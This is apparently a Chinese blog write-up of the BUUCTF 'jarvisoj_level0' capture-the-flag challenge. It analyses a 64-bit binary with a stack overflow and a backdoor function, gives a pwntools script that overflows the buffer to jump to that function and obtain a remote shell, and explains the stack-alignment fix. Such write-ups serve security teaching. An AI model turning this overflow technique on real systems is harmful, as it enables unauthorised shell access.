BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
浩浩测试一下2 小时前
汇编 高低八位寄存器数据存储方式(逆向分析)
汇编·网络安全·逆向·二进制·免杀·寄存器·windows编程
汤愈韬2 小时前
TK_HCIP-Security_FW的可靠性_双机热备场景_上接路由器下接交换机
网络·网络协议·网络安全
梧六柒5 小时前
9-::$DATA后缀绕过
网络安全
X7x59 小时前
网络入侵防御系统(IPS):从被动防御到主动拦截的网络安全革命
网络安全·网络攻击模型·安全威胁分析·安全架构·ips
Soari9 小时前
AI 编码智能体的“安全防弹衣”:深度拆解 agent-skills,构建百分百受信任的专业技能注册表
人工智能·网络安全·github·软件工程·aiagent·claudecode·agent-skills
梧六柒11 小时前
8- 点绕过
网络安全
深邃-11 小时前
【Web安全】-SRC平台介绍:CNVD平台-事件型漏洞-通用型漏洞,教育SRC平台,漏洞盒子,补天漏洞平台,企业SRC平台,企业和公益SRC平台
网络协议·安全·web安全·网络安全·https·src·cnvd
HackTwoHub11 小时前
AI 挖洞新思路、深度解析两大间接提示词注入漏洞攻防思路,注入也能获得上万美金
人工智能·安全·web安全·网络安全·系统安全·安全架构
KivenMitnick1 天前
LovelyERes:AWD适用的蓝队综合工具
运维·安全·网络安全
其实防守也摸鱼1 天前
ctfshow--Crypto(funnyrsa1-密码2)解题步骤
python·安全·web安全·网络安全·密码学·web·工具